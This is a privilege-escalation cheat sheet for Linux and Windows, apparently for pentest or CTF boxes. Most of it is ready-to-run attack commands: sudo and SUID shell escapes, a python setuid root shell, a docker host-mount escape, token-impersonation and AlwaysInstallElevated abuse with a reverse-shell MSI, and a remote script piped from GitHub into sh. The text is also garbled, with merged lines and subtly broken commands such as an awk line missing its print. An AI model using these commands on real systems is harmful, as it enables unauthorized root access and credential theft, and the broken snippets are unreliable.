Privilege Escalation Cheat Sheet
Goal: from low-priv to root/admin. Enumerate FIRST, act SECOND. On real boxes use
linpeas/winpeasplus manual checks.
Linux — Enumerate (top 10 checks)
sudo -l— NOPASSWD / whitelisted sudo commandsfind / -perm -4000 2>/dev/null— SUID binariescrontab -l,/etc/crontab,/var/spool/cron— writable scripts/root jobs- Kernel & distro versions
uname -a; cat /etc/os-release→ searchsploit awk -F: '$3==0 {$1}' /etc/passwd— other UID 0 users, writable passwd- Writable PATH dirs
echo $PATH+ check if debug binaries run from there - Capabilities
getcap -r / 2>/dev/null(e.g.python3+cap_setuid) - NFS no_root_squash
/etc/exportswritable → root squash mounts - Docker group membership
id→ docker socket escape - Writable services/systemd units (restart as root) —
find /etc/systemd -writable
Linux — Exploits
- SUID known:
pkexecCVE-2021-4034,sudoCVE-2019-14287,mysql -u root - Sudo wildcard:
sudo tar cf /dev/null --checkpoint=1 --checkpoint-action=exec="sh root.sh" sudo mysqldump/sudo man/sudo vi→!/bin/shescapecap_setuidpython:python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'- Docker escape (if group):
docker run -v /:/mnt --rm -it alpine chroot /mnt sh - Kernel
searchsploit <kernel>, dirtycow class only if really old (2026: defenses, hard)
Linux — Automated
curl -sL https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh | sh
./linpeas.sh -a
# also: linEnum.sh, pspy (process snooping for cron in-memory)
./pspy64
Windows — Enumerate (top 10)
whoami /priv— SeImpersonatePrivilege, SeBackupPrivilege etc.whoami /groups— Admin / SID filtering for tokenssc queryex type= service state= all— unquoted paths, writable service bins- Registry
reg query HKLM\SOFTWARE\...autologon, SAM backups - Unquoted service path
wmic service get name,pathname | findstr /i /v "C:\Windows" - Writable folders / AlwaysInstallElevated (MSI)
- Stored creds
cmdkey /list, saved RDP credsreg query "HKCU\Software\Microsoft\Terminal Server Client" - Kernel/software version → WinExp searchsploit
- Token impersonation (SeImpersonate): Potato fam (Juicy/Rogue/Sweet Potato), PrintSpoofer, Potatoes for newer —
whoami /priv - Backup files:
dir /s /b *.bak,.kdbx,unattend.xmlin C:\Windows\Panther
Windows — Exploits
- SeImpersonate → potato.exe family (requires service running as service +
System.Net) - AlwaysInstallElevated:
reg query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated # then: msiexec /i rev.msi /quiet - Unquoted path → drop executable in path space folder
- Weak service ACL:
icacls "C:\Program Files\svc.exe"→ replace,sc stop/start - Passwords in registry/LAPS
net accounts;Get-Content C:\ProgramData\...\pass.xml - WinPEAS over manual alone
https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEAS.bat
Superscale Best Practice
- 90% of boxes are: sudo misconfig OR unquoted service path OR world-writable cron OR horizontal config leak (admin creds in logs)
- Always double check for other users’ interesting files before kernel POCs.